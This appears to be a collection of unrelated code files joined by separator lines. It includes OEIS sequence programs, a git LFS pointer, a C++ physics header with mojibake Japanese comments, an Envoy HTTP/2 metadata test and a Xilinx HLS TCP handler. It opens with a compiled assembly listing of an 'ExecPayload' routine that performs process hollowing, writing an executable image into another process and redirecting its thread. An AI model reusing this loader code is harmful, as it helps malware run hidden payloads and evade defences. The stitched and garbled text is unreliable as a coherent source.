mov DWORD PTR _zero_buff$1$[esp+312], eax
; Line 322
mov eax, 23117 ; 00005a4dH
cmp WORD PTR [edi], ax
jne $LN5@ExecPayloa
; Line 324
mov esi, DWORD PTR [edi+60]
add esi, edi
; Line 325
cmp DWORD PTR [esi], 17744 ; 00004550H
jne $LN4@ExecPayloa
; Line 328
lea eax, DWORD PTR _oldProtect$[esp+312]
push eax
push 64 ; 00000040H
push ebx
push ebp
push DWORD PTR _pi$[esp+328]
call DWORD PTR _MyVirtualProtectEx$1$[esp+332]
; Line 329
lea eax, DWORD PTR _wrote_zero$[esp+312]
push eax
push ebx
push DWORD PTR _zero_buff$1$[esp+320]
mov ebx, DWORD PTR _MyWriteProcessMemory$1$[esp+324]
push ebp
push DWORD PTR _pi$[esp+328]
call ebx
; Line 334
push 64 ; 00000040H
push 12288 ; 00003000H
push DWORD PTR [esi+80]
push DWORD PTR [esi+52]
push DWORD PTR _pi$[esp+328]
call DWORD PTR _MyVirtualAllocEx$1$[esp+332]
; Line 337
push 0
push DWORD PTR [esi+84]
mov ebp, eax
push edi
push ebp
push DWORD PTR _pi$[esp+328]
call ebx
; Line 340
and DWORD PTR _Count$1$[esp+312], 0
xor eax, eax
cmp ax, WORD PTR [esi+6]
jae SHORT $LN1@ExecPayloa
; Line 328
xor ebx, ebx
$LL3@ExecPayloa:
; Line 341
mov ecx, DWORD PTR [edi+60]
add ecx, ebx
; Line 342
push 0
push DWORD PTR [ecx+edi+264]
mov eax, DWORD PTR [ecx+edi+268]
add eax, edi
push eax
mov eax, DWORD PTR [ecx+edi+260]
add eax, ebp
push eax
push DWORD PTR _pi$[esp+328]
call DWORD PTR _MyWriteProcessMemory$1$[esp+332]
mov ecx, DWORD PTR _Count$1$[esp+312]
add ebx, 40 ; 00000028H
movzx eax, WORD PTR [esi+6]
inc ecx
mov DWORD PTR _Count$1$[esp+312], ecx
cmp ecx, eax
jl SHORT $LL3@ExecPayloa
mov ebx, DWORD PTR _MyWriteProcessMemory$1$[esp+312]
$LN1@ExecPayloa:
; Line 346
push 0
push 4
lea eax, DWORD PTR [esi+52]
push eax
push DWORD PTR _pebInfo$1$[esp+324]
push DWORD PTR _pi$[esp+328]
call ebx
; Line 347
mov ecx, DWORD PTR _CTX$1$[esp+312]
mov eax, DWORD PTR [esi+40]
add eax, ebp
; Line 348
push ecx
mov DWORD PTR [ecx+176], eax
push DWORD PTR _pi$[esp+320]
call DWORD PTR _MySetThreadContext$1$[esp+320]
; Line 349
push DWORD PTR _pi$[esp+316]
call DWORD PTR _MyResumeThread$1$[esp+316]
$LN4@ExecPayloa:
; Line 353
push 32768 ; 00008000H
push 0
push edi
call DWORD PTR _MyVirtualFree$1$[esp+324]
$LN5@ExecPayloa:
; Line 357
push -1
push DWORD PTR _pi$[esp+316]
call DWORD PTR _MyWaitForSingleObject$1$[esp+320]
; Line 358
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0
_ExecPayload ENDP
_TEXT ENDS
END
|
; A082784: Characteristic function of multiples of 7.
; 1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0
mod $0,7
pow $1,$0
|
version https://git-lfs.github.com/spec/v1
oid sha256:fe4921d0c54a4c0ea6687b6ffcf8e7415fc12000b5216b802d52734afc179bf8
size 2697
|
๏ปฟ
#pragma once
#include "../Component.hpp"
#include "../../Physics/PhysicsWorld2D.hpp"
namespace ln {
class Collision2D;
class RigidBody2DComponent;
using Collision2DEventHandler = Delegate<void(Collision2D*)>;
class Collision2D
: public Object
{
public:
/** ่ชๅ่ช่บซใจ่ก็ชใใฆใใไปใฎ WorldObject */
WorldObject* worldObject() const { return m_worldObject; }
/** ่ชๅ่ช่บซใจ่ก็ชใใฆใใไปใฎ PhysicsObject2D */
PhysicsObject2D* physicsObject() const { return m_physicsObject; }
LN_CONSTRUCT_ACCESS:
Collision2D();
virtual ~Collision2D() = default;
void init(WorldObject* worldObject/*, RigidBody2DComponent* component*/, PhysicsObject2D* physicsObject);
private:
WorldObject* m_worldObject;
PhysicsObject2D* m_physicsObject;
};
class RigidBody2DComponent
: public Component
, protected detail::IPhysicsObject2DEventListener
{
public:
static Ref<RigidBody2DComponent> create();
void setVelocity(const Vector2& value) { m_body->setVelocity(value); }
void setVelocity(float x, float y) { setVelocity(Vector2(x, y)); }
const Vector2& velocity() const { return m_body->velocity(); }
void setMass(float value);
/** ใญใใใใฃใใฏใขใผใใ่จญๅฎใใพใใ ใญใใใใฃใใฏใขใผใใงใฏใๅไฝใซๅใฏใใใใพใใใ */
void setKinematic(bool value) { m_body->setKinematic(value); }
/** ๆฉๆฆไฟๆฐใ่จญๅฎใใพใใ */
void setFriction(float value) { m_body->setFriction(value); }
/** ๅ็บไฟๆฐใ่จญๅฎใใพใใ */
void setRestitution(float value) { m_body->setRestitution(value); }
void addCollisionShape(CollisionShape2D* shape);
void setFixedRotation(bool value) { m_body->setFixedRotation(value); }
/** ่ก็ชใฐใซใผใใ่จญๅฎใใพใใใใใฉใซใใฏ 0x00000001 ใงใ0็ชใฎใฐใซใผใใซๅฑใใใใจใ็คบใใพใใ */
void setCollisionGroup(uint32_t value) { m_body->setCollisionGroup(value); }
/** ่ก็ชใฐใซใผใใในใฏใ่จญๅฎใใพใใใใใฉใซใใฏ 0x0000FFFF ใงใ0๏ฝ15็ชใฎใฐใซใผใใจ่ก็ชใใใใจใ็คบใใพใใ */
void setCollisionGroupMask(uint32_t value) { m_body->setCollisionGroupMask(value); }
/** ้ๅฟใซๅใๅ ใใพใใ */
void applyForce(const Vector2& force) { m_body->applyForce(force); }
/** ๆๅฎใใใญใผใซใซไฝ็ฝฎใซๅใๅ ใใพใใ */
void applyForce(const Vector2& force, const Vector2& localPosition) { m_body->applyForce(force, localPosition); }
/** ้ๅฟใซ่กๆใไธใใพใใ */
void applyImpulse(const Vector2& impulse) { m_body->applyImpulse(impulse); }
/** ๆๅฎใใใญใผใซใซไฝ็ฝฎใซ่กๆใไธใใพใใ */
void applyImpulse(const Vector2& impulse, const Vector2& localPosition) { m_body->applyImpulse(impulse, localPosition); }
/** ใใซใฏใใใใพใใ */
void applyTorque(float torque) { m_body->applyTorque(torque); }
/** ใใซใฏ่กๆใไธใใพใใ */
void applyTorqueImpulse(float torque) { m_body->applyTorqueImpulse(torque); }
/** ใใฎใณใณใใผใใณใใจ้ข้ฃใฅใใฆใใ RigidBody2D ใๅๅพใใพใใ */
RigidBody2D* rigidBody() const;
/** onTriggerEnter ใคใใณใใฎ้็ฅใๅใๅใใณใผใซใใใฏใ็ป้ฒใใพใใ*/
//LN_METHOD(Event)
Ref<EventConnection> connectOnCollisionEnter(Ref<Collision2DEventHandler> handler);
/** onTriggerLeave ใคใใณใใฎ้็ฅใๅใๅใใณใผใซใใใฏใ็ป้ฒใใพใใ*/
//LN_METHOD(Event)
Ref<EventConnection> connectOnCollisionLeave(Ref<Collision2DEventHandler> handler);
/** onTriggerStay ใคใใณใใฎ้็ฅใๅใๅใใณใผใซใใใฏใ็ป้ฒใใพใใ*/
//LN_METHOD(Event)
Ref<EventConnection> connectOnCollisionStay(Ref<Collision2DEventHandler> handler);
LN_CONSTRUCT_ACCESS:
RigidBody2DComponent();
virtual ~RigidBody2DComponent() = default;
void init();
virtual void onDispose(bool explicitDisposing) override;
protected:
virtual void onBeforeStepSimulation() override;
virtual void onAfterStepSimulation() override;
virtual void onCollisionEnter(PhysicsObject2D* otherObject, ContactPoint2D* contact) override;
virtual void onCollisionLeave(PhysicsObject2D* otherObject, ContactPoint2D* contact) override;
virtual void onCollisionStay(PhysicsObject2D* otherObject, ContactPoint2D* contact) override;
private:
Ref<RigidBody2D> m_body;
Event<Collision2DEventHandler> m_onCollisionEnter;
Event<Collision2DEventHandler> m_onCollisionLeave;
Event<Collision2DEventHandler> m_onCollisionStay;
};
class TriggerBody2DComponent
: public Component
, protected detail::IPhysicsObject2DEventListener
{
public:
static Ref<TriggerBody2DComponent> create();
void addCollisionShape(CollisionShape2D* shape);
/** ่ก็ชใฐใซใผใใในใฏใ่จญๅฎใใพใใใใใฉใซใใฏ 0x0000FFFF ใงใ0๏ฝ15็ชใฎใฐใซใผใใจ่ก็ชใใใใจใ็คบใใพใใ */
void setCollisionGroupMask(uint32_t value) { m_body->setCollisionGroupMask(value); }
/** onTriggerEnter ใคใใณใใฎ้็ฅใๅใๅใใณใผใซใใใฏใ็ป้ฒใใพใใ*/
//LN_METHOD(Event)
Ref<EventConnection> connectOnCollisionEnter(Ref<Collision2DEventHandler> handler);
/** onTriggerLeave ใคใใณใใฎ้็ฅใๅใๅใใณใผใซใใใฏใ็ป้ฒใใพใใ*/
//LN_METHOD(Event)
Ref<EventConnection> connectOnCollisionLeave(Ref<Collision2DEventHandler> handler);
/** onTriggerStay ใคใใณใใฎ้็ฅใๅใๅใใณใผใซใใใฏใ็ป้ฒใใพใใ*/
//LN_METHOD(Event)
Ref<EventConnection> connectOnCollisionStay(Ref<Collision2DEventHandler> handler);
LN_CONSTRUCT_ACCESS:
TriggerBody2DComponent();
virtual ~TriggerBody2DComponent() = default;
void init();
virtual void onDispose(bool explicitDisposing) override;
protected:
virtual void onBeforeStepSimulation() override;
virtual void onAfterStepSimulation() override;
virtual void onCollisionEnter(PhysicsObject2D* otherObject, ContactPoint2D* contact) override;
virtual void onCollisionLeave(PhysicsObject2D* otherObject, ContactPoint2D* contact) override;
virtual void onCollisionStay(PhysicsObject2D* otherObject, ContactPoint2D* contact) override;
private:
Ref<TriggerBody2D> m_body;
Event<Collision2DEventHandler> m_onCollisionEnter;
Event<Collision2DEventHandler> m_onCollisionLeave;
Event<Collision2DEventHandler> m_onCollisionStay;
};
} // namespace ln
|
#include "envoy/http/metadata_interface.h"
#include "common/buffer/buffer_impl.h"
#include "common/common/logger.h"
#include "common/common/random_generator.h"
#include "common/http/http2/metadata_decoder.h"
#include "common/http/http2/metadata_encoder.h"
#include "test/test_common/logging.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"
#include "http2_frame.h"
#include "nghttp2/nghttp2.h"
// A global variable in nghttp2 to disable preface and initial settings for tests.
// TODO(soya3129): Remove after issue https://github.com/nghttp2/nghttp2/issues/1246 is fixed.
extern "C" {
extern int nghttp2_enable_strict_preface;
}
namespace Envoy {
namespace Http {
namespace Http2 {
namespace {
static const uint64_t STREAM_ID = 1;
// The buffer stores data sent by encoder and received by decoder.
struct TestBuffer {
uint8_t buf[1024 * 1024] = {0};
size_t length = 0;
};
// The application data structure passes to nghttp2 session.
struct UserData {
MetadataEncoder* encoder;
MetadataDecoder* decoder;
// Stores data sent by encoder and received by the decoder.
TestBuffer* output_buffer;
};
// Nghttp2 callback function for sending extension frame.
static ssize_t pack_extension_callback(nghttp2_session* session, uint8_t* buf, size_t len,
const nghttp2_frame*, void* user_data) {
EXPECT_NE(nullptr, session);
MetadataEncoder* encoder = reinterpret_cast<UserData*>(user_data)->encoder;
const uint64_t size_copied = encoder->packNextFramePayload(buf, len);
return static_cast<ssize_t>(size_copied);
}
// Nghttp2 callback function for receiving extension frame.
static int on_extension_chunk_recv_callback(nghttp2_session* session, const nghttp2_frame_hd* hd,
const uint8_t* data, size_t len, void* user_data) {
EXPECT_NE(nullptr, session);
EXPECT_GE(hd->length, len);
MetadataDecoder* decoder = reinterpret_cast<UserData*>(user_data)->decoder;
bool success = decoder->receiveMetadata(data, len);
return success ? 0 : NGHTTP2_ERR_CALLBACK_FAILURE;
}
// Nghttp2 callback function for unpack extension frames.
static int unpack_extension_callback(nghttp2_session* session, void** payload,
const nghttp2_frame_hd* hd, void* user_data) {
EXPECT_NE(nullptr, session);
EXPECT_NE(nullptr, hd);
EXPECT_NE(nullptr, payload);
MetadataDecoder* decoder = reinterpret_cast<UserData*>(user_data)->decoder;
bool result = decoder->onMetadataFrameComplete((hd->flags == END_METADATA_FLAG) ? true : false);
return result ? 0 : NGHTTP2_ERR_CALLBACK_FAILURE;
}
// Nghttp2 callback function for sending data to peer.
static ssize_t send_callback(nghttp2_session* session, const uint8_t* buf, size_t len, int flags,
void* user_data) {
EXPECT_NE(nullptr, session);
EXPECT_LE(0, flags);
TestBuffer* buffer = (reinterpret_cast<UserData*>(user_data))->output_buffer;
memcpy(buffer->buf + buffer->length, buf, len);
buffer->length += len;
return len;
}
} // namespace
class MetadataEncoderDecoderTest : public testing::Test {
public:
void initialize(MetadataCallback cb) {
decoder_ = std::make_unique<MetadataDecoder>(cb);
// Enables extension frame.
nghttp2_option_new(&option_);
nghttp2_option_set_user_recv_extension_type(option_, METADATA_FRAME_TYPE);
// Sets callback functions.
nghttp2_session_callbacks_new(&callbacks_);
nghttp2_session_callbacks_set_pack_extension_callback(callbacks_, pack_extension_callback);
nghttp2_session_callbacks_set_send_callback(callbacks_, send_callback);
nghttp2_session_callbacks_set_on_extension_chunk_recv_callback(
callbacks_, on_extension_chunk_recv_callback);
nghttp2_session_callbacks_set_unpack_extension_callback(callbacks_, unpack_extension_callback);
// Sets application data to pass to nghttp2 session.
user_data_.encoder = &encoder_;
user_data_.decoder = decoder_.get();
user_data_.output_buffer = &output_buffer_;
// Creates new nghttp2 session.
nghttp2_enable_strict_preface = 0;
nghttp2_session_client_new2(&session_, callbacks_, &user_data_, option_);
nghttp2_enable_strict_preface = 1;
}
void cleanUp() {
nghttp2_session_del(session_);
nghttp2_session_callbacks_del(callbacks_);
nghttp2_option_del(option_);
}
void verifyMetadataMapVector(MetadataMapVector& expect, MetadataMapPtr&& metadata_map_ptr) {
for (const auto& metadata : *metadata_map_ptr) {
EXPECT_EQ(expect.front()->find(metadata.first)->second, metadata.second);
}
expect.erase(expect.begin());
}
void submitMetadata(const MetadataMapVector& metadata_map_vector) {
// Creates metadata payload.
encoder_.createPayload(metadata_map_vector);
for (uint8_t flags : encoder_.payloadFrameFlagBytes()) {
int result =
nghttp2_submit_extension(session_, METADATA_FRAME_TYPE, flags, STREAM_ID, nullptr);
EXPECT_EQ(0, result);
}
// Triggers nghttp2 to populate the payloads of the METADATA frames.
int result = nghttp2_session_send(session_);
EXPECT_EQ(0, result);
}
nghttp2_session* session_ = nullptr;
nghttp2_session_callbacks* callbacks_;
MetadataEncoder encoder_;
std::unique_ptr<MetadataDecoder> decoder_;
nghttp2_option* option_;
int count_ = 0;
// Stores data received by peer.
TestBuffer output_buffer_;
// Application data passed to nghttp2.
UserData user_data_;
Random::RandomGeneratorImpl random_generator_;
};
TEST_F(MetadataEncoderDecoderTest, TestMetadataSizeLimit) {
MetadataMap metadata_map = {
{"header_key1", std::string(1024 * 1024 + 1, 'a')},
};
MetadataMapPtr metadata_map_ptr = std::make_unique<MetadataMap>(metadata_map);
MetadataMapVector metadata_map_vector;
metadata_map_vector.push_back(std::move(metadata_map_ptr));
// Verifies the encoding/decoding result in decoder's callback functions.
initialize([this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
});
// metadata_map exceeds size limit.
EXPECT_LOG_CONTAINS("error", "exceeds the max bound.",
EXPECT_FALSE(encoder_.createPayload(metadata_map_vector)));
std::string payload = std::string(1024 * 1024 + 1, 'a');
EXPECT_FALSE(
decoder_->receiveMetadata(reinterpret_cast<const uint8_t*>(payload.data()), payload.size()));
cleanUp();
}
TEST_F(MetadataEncoderDecoderTest, TestDecodeBadData) {
MetadataMap metadata_map = {
{"header_key1", "header_value1"},
};
MetadataMapPtr metadata_map_ptr = std::make_unique<MetadataMap>(metadata_map);
MetadataMapVector metadata_map_vector;
metadata_map_vector.push_back(std::move(metadata_map_ptr));
// Verifies the encoding/decoding result in decoder's callback functions.
initialize([this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
});
submitMetadata(metadata_map_vector);
// Messes up with the encoded payload, and passes it to the decoder.
output_buffer_.buf[10] |= 0xff;
decoder_->receiveMetadata(output_buffer_.buf, output_buffer_.length);
EXPECT_FALSE(decoder_->onMetadataFrameComplete(true));
cleanUp();
}
// Checks if accumulated metadata size reaches size limit, returns failure.
TEST_F(MetadataEncoderDecoderTest, VerifyEncoderDecoderMultipleMetadataReachSizeLimit) {
MetadataMap metadata_map_empty = {};
MetadataCallback cb = [](std::unique_ptr<MetadataMap>) -> void {};
initialize(cb);
ssize_t result = 0;
for (int i = 0; i < 100; i++) {
// Cleans up the output buffer.
memset(output_buffer_.buf, 0, output_buffer_.length);
output_buffer_.length = 0;
MetadataMap metadata_map = {
{"header_key1", std::string(10000, 'a')},
{"header_key2", std::string(10000, 'b')},
};
MetadataMapPtr metadata_map_ptr = std::make_unique<MetadataMap>(metadata_map);
MetadataMapVector metadata_map_vector;
metadata_map_vector.push_back(std::move(metadata_map_ptr));
// Encode and decode the second MetadataMap.
decoder_->callback_ = [this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
};
submitMetadata(metadata_map_vector);
result = nghttp2_session_mem_recv(session_, output_buffer_.buf, output_buffer_.length);
if (result < 0) {
break;
}
}
// Verifies max metadata limit reached.
EXPECT_LT(result, 0);
EXPECT_LE(decoder_->max_payload_size_bound_, decoder_->total_payload_size_);
cleanUp();
}
// Tests encoding/decoding small metadata map vectors.
TEST_F(MetadataEncoderDecoderTest, EncodeMetadataMapVectorSmall) {
MetadataMap metadata_map = {
{"header_key1", std::string(5, 'a')},
{"header_key2", std::string(5, 'b')},
};
MetadataMapPtr metadata_map_ptr = std::make_unique<MetadataMap>(metadata_map);
MetadataMap metadata_map_2 = {
{"header_key3", std::string(5, 'a')},
{"header_key4", std::string(5, 'b')},
};
MetadataMapPtr metadata_map_ptr_2 = std::make_unique<MetadataMap>(metadata_map);
MetadataMap metadata_map_3 = {
{"header_key1", std::string(1, 'a')},
{"header_key2", std::string(1, 'b')},
};
MetadataMapPtr metadata_map_ptr_3 = std::make_unique<MetadataMap>(metadata_map);
MetadataMapVector metadata_map_vector;
metadata_map_vector.push_back(std::move(metadata_map_ptr));
metadata_map_vector.push_back(std::move(metadata_map_ptr_2));
metadata_map_vector.push_back(std::move(metadata_map_ptr_3));
// Verifies the encoding/decoding result in decoder's callback functions.
initialize([this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
});
submitMetadata(metadata_map_vector);
// Verifies flag and payload are encoded correctly.
const uint64_t consume_size = random_generator_.random() % output_buffer_.length;
nghttp2_session_mem_recv(session_, output_buffer_.buf, consume_size);
nghttp2_session_mem_recv(session_, output_buffer_.buf + consume_size,
output_buffer_.length - consume_size);
cleanUp();
}
// Tests encoding/decoding large metadata map vectors.
TEST_F(MetadataEncoderDecoderTest, EncodeMetadataMapVectorLarge) {
MetadataMapVector metadata_map_vector;
for (int i = 0; i < 10; i++) {
MetadataMap metadata_map = {
{"header_key1", std::string(50000, 'a')},
{"header_key2", std::string(50000, 'b')},
};
MetadataMapPtr metadata_map_ptr = std::make_unique<MetadataMap>(metadata_map);
metadata_map_vector.push_back(std::move(metadata_map_ptr));
}
// Verifies the encoding/decoding result in decoder's callback functions.
initialize([this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
});
submitMetadata(metadata_map_vector);
// Verifies flag and payload are encoded correctly.
const uint64_t consume_size = random_generator_.random() % output_buffer_.length;
nghttp2_session_mem_recv(session_, output_buffer_.buf, consume_size);
nghttp2_session_mem_recv(session_, output_buffer_.buf + consume_size,
output_buffer_.length - consume_size);
cleanUp();
}
// Tests encoding/decoding with fuzzed metadata size.
TEST_F(MetadataEncoderDecoderTest, EncodeFuzzedMetadata) {
MetadataMapVector metadata_map_vector;
for (int i = 0; i < 10; i++) {
Random::RandomGeneratorImpl random;
int value_size_1 = random.random() % (2 * Http::METADATA_MAX_PAYLOAD_SIZE) + 1;
int value_size_2 = random.random() % (2 * Http::METADATA_MAX_PAYLOAD_SIZE) + 1;
MetadataMap metadata_map = {
{"header_key1", std::string(value_size_1, 'a')},
{"header_key2", std::string(value_size_2, 'a')},
};
MetadataMapPtr metadata_map_ptr = std::make_unique<MetadataMap>(metadata_map);
metadata_map_vector.push_back(std::move(metadata_map_ptr));
}
// Verifies the encoding/decoding result in decoder's callback functions.
initialize([this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
});
submitMetadata(metadata_map_vector);
// Verifies flag and payload are encoded correctly.
nghttp2_session_mem_recv(session_, output_buffer_.buf, output_buffer_.length);
cleanUp();
}
TEST_F(MetadataEncoderDecoderTest, EncodeDecodeFrameTest) {
MetadataMap metadataMap = {
{"Connections", "15"},
{"Timeout Seconds", "10"},
};
MetadataMapPtr metadataMapPtr = std::make_unique<MetadataMap>(metadataMap);
MetadataMapVector metadata_map_vector;
metadata_map_vector.push_back(std::move(metadataMapPtr));
Http2Frame http2FrameFromUltility = Http2Frame::makeMetadataFrameFromMetadataMap(
1, metadataMap, Http2Frame::MetadataFlags::EndMetadata);
MetadataDecoder decoder([this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
});
decoder.receiveMetadata(http2FrameFromUltility.data() + 9, http2FrameFromUltility.size() - 9);
decoder.onMetadataFrameComplete(true);
}
using MetadataEncoderDecoderDeathTest = MetadataEncoderDecoderTest;
// Crash if a caller tries to pack more frames than the encoder has data for.
TEST_F(MetadataEncoderDecoderDeathTest, PackTooManyFrames) {
MetadataMap metadata_map = {
{"header_key1", std::string(5, 'a')},
{"header_key2", std::string(5, 'b')},
};
MetadataMapPtr metadata_map_ptr = std::make_unique<MetadataMap>(metadata_map);
MetadataMapVector metadata_map_vector;
metadata_map_vector.push_back(std::move(metadata_map_ptr));
initialize([this, &metadata_map_vector](MetadataMapPtr&& metadata_map_ptr) -> void {
this->verifyMetadataMapVector(metadata_map_vector, std::move(metadata_map_ptr));
});
submitMetadata(metadata_map_vector);
// Try to send an extra METADATA frame. Submitting the frame to nghttp2 should succeed, but
// pack_extension_callback should fail, and that failure will propagate through
// nghttp2_session_send. How to handle the failure is up to the HTTP/2 codec (in practice, it will
// throw a CodecProtocolException).
int result = nghttp2_submit_extension(session_, METADATA_FRAME_TYPE, 0, STREAM_ID, nullptr);
EXPECT_EQ(0, result);
EXPECT_DEATH(nghttp2_session_send(session_),
"No payload remaining to pack into a METADATA frame.");
cleanUp();
}
} // namespace Http2
} // namespace Http
} // namespace Envoy
|
/*******************************************************************************
# Copyright (C) 2021 Xilinx, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# *******************************************************************************/
#include "ap_axi_sdata.h"
#include "hls_stream.h"
#include "ap_int.h"
using namespace hls;
using namespace std;
#define DWIDTH512 512
#define DWIDTH256 256
#define DWIDTH128 128
#define DWIDTH64 64
#define DWIDTH32 32
#define DWIDTH16 16
#define DWIDTH8 8
typedef ap_axiu<DWIDTH512, 0, 0, 0> pkt512;
typedef ap_axiu<DWIDTH256, 0, 0, 0> pkt256;
typedef ap_axiu<DWIDTH128, 0, 0, 0> pkt128;
typedef ap_axiu<DWIDTH64, 0, 0, 0> pkt64;
typedef ap_axiu<DWIDTH32, 0, 0, 0> pkt32;
typedef ap_axiu<DWIDTH16, 0, 0, 0> pkt16;
typedef ap_axiu<DWIDTH8, 0, 0, 0> pkt8;
void tcp_txHandler(
hls::stream<pkt512 >& s_data_in,
hls::stream<ap_uint<96> >& cmd_txHandler,
hls::stream<pkt32>& m_axis_tcp_tx_meta,
hls::stream<pkt512>& m_axis_tcp_tx_data,
hls::stream<pkt64>& s_axis_tcp_tx_status
)
{
#pragma HLS INTERFACE axis register both port=s_data_in
#pragma HLS INTERFACE axis register both port=cmd_txHandler
#pragma HLS INTERFACE axis register both port=m_axis_tcp_tx_meta
#pragma HLS INTERFACE axis register both port=m_axis_tcp_tx_data
#pragma HLS INTERFACE axis register both port=s_axis_tcp_tx_status
#pragma HLS INTERFACE ap_ctrl_none port=return
#pragma HLS PIPELINE II=1
#pragma HLS INLINE off
enum txHandlerStateType {WAIT_CMD, CHECK_REQ, WRITE_PKG};
static txHandlerStateType txHandlerState = WAIT_CMD;
static ap_uint<32> sessionID;
static ap_uint<32> expectedTxByteCnt;
static ap_uint<32> maxPkgWord;
static ap_uint<16> length;
static ap_uint<16> remaining_space;
static ap_uint<8> error;
static ap_uint<32> currentPkgWord = 0;
static ap_uint<32> wordCnt = 0;
static ap_uint<32> sentByteCnt = 0;
pkt32 tx_meta_pkt;
switch(txHandlerState)
{
case WAIT_CMD:
if (!cmd_txHandler.empty())
{
ap_uint<96> cmd = cmd_txHandler.read();
sessionID = cmd(31,0);
expectedTxByteCnt = cmd(63,32);
maxPkgWord = cmd(95,64);
tx_meta_pkt.data(15,0) = sessionID;
if (maxPkgWord*(512/8) > expectedTxByteCnt)
tx_meta_pkt.data(31,16) = expectedTxByteCnt;
else
tx_meta_pkt.data(31,16) = maxPkgWord*(512/8);
m_axis_tcp_tx_meta.write(tx_meta_pkt);
txHandlerState = CHECK_REQ;
}
break;
case CHECK_REQ:
if (!s_axis_tcp_tx_status.empty())
{
pkt64 txStatus_pkt = s_axis_tcp_tx_status.read();
sessionID = txStatus_pkt.data(15,0);
length = txStatus_pkt.data(31,16);
remaining_space = txStatus_pkt.data(61,32);
error = txStatus_pkt.data(63,62);
currentPkgWord = (length + (512/8) -1 ) >> 6; //current packet word length
//if no error, perpare the tx meta of the next packet
if (error == 0)
{
sentByteCnt = sentByteCnt + length;
if (sentByteCnt < expectedTxByteCnt)
{
tx_meta_pkt.data(15,0) = sessionID;
if (sentByteCnt + maxPkgWord*64 < expectedTxByteCnt )
{
tx_meta_pkt.data(31,16) = maxPkgWord*(512/8);
// currentPkgWord = maxPkgWord;
}
else
{
tx_meta_pkt.data(31,16) = expectedTxByteCnt - sentByteCnt;
// currentPkgWord = (expectedTxByteCnt - sentByteCnt)>>6;
}
m_axis_tcp_tx_meta.write(tx_meta_pkt);
}
txHandlerState = WRITE_PKG;
}
//if error, resend the tx meta of current packet
else
{
//Check if connection was torn down
if (error == 1)
{
// std::cout << "Connection was torn down. " << sessionID << std::endl;
}
else
{
tx_meta_pkt.data(15,0) = sessionID;
tx_meta_pkt.data(31,16) = length;
m_axis_tcp_tx_meta.write(tx_meta_pkt);
}
}
}
break;
case WRITE_PKG:
wordCnt ++;
ap_axiu<DWIDTH512, 0, 0, 0> currWord = s_data_in.read();
ap_axiu<DWIDTH512, 0, 0, 0> currPkt;
currPkt.data = currWord.data;
currPkt.keep = currWord.keep;
currPkt.last = (wordCnt == currentPkgWord);
m_axis_tcp_tx_data.write(currPkt);
if (wordCnt == currentPkgWord)
{
wordCnt = 0;
if (sentByteCnt >= expectedTxByteCnt)
{
sentByteCnt = 0;
currentPkgWord = 0;
txHandlerState = WAIT_CMD;
}
else
{
txHandlerState = CHECK_REQ;
}
}
break;
}
} |
; A315742: Coordination sequence Gal.5.302.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,12,18,23,28,33,38,44,50,56,62,68,74,79,84,89,94,100,106,112,118,124,130,135,140,145,150,156,162,168,174,180,186,191,196,201,206,212,218,224,230,236,242,247,252,257,262,268,274
mov $2,$0
lpb $0,1
add $3,3
sub $0,$3
trn $0,4
add $0,$3
add $3,3
lpe
mov $1,$0
trn $1,1
lpb $2,1
add $1,5
sub $2,1
lpe
add $1,1
|
; A179337: Positive integers of the form (6*m^2 + 1)/11.
; 5,35,107,197,341,491,707,917,1205,1475,1835,2165,2597,2987,3491,3941,4517,5027,5675,6245,6965,7595,8387,9077,9941,10691,11627,12437,13445,14315,15395,16325,17477,18467,19691,20741,22037,23147,24515,25685,27125,28355,29867,31157,32741,34091,35747,37157,38885,40355,42155,43685,45557,47147,49091,50741,52757,54467,56555,58325,60485,62315,64547,66437,68741,70691,73067,75077,77525,79595,82115,84245,86837,89027,91691,93941,96677,98987,101795,104165,107045,109475,112427,114917,117941,120491,123587,126197,129365,132035,135275,138005,141317,144107,147491,150341,153797,156707,160235,163205,166805,169835,173507,176597,180341,183491,187307,190517,194405,197675,201635,204965,208997,212387,216491,219941,224117,227627,231875,235445,239765,243395,247787,251477,255941,259691,264227,268037,272645,276515,281195,285125,289877,293867,298691,302741,307637,311747,316715,320885,325925,330155,335267,339557,344741,349091,354347,358757,364085,368555,373955,378485,383957,388547,394091,398741,404357,409067,414755,419525,425285,430115,435947,440837,446741,451691,457667,462677,468725,473795,479915,485045,491237,496427,502691,507941,514277,519587,525995,531365,537845,543275,549827,555317,561941,567491,574187,579797,586565,592235,599075,604805,611717,617507,624491,630341,637397,643307,650435,656405,663605,669635,676907,682997,690341,696491,703907,710117,717605,723875,731435,737765,745397,751787,759491,765941,773717,780227,788075,794645,802565,809195,817187,823877,831941,838691,846827,853637,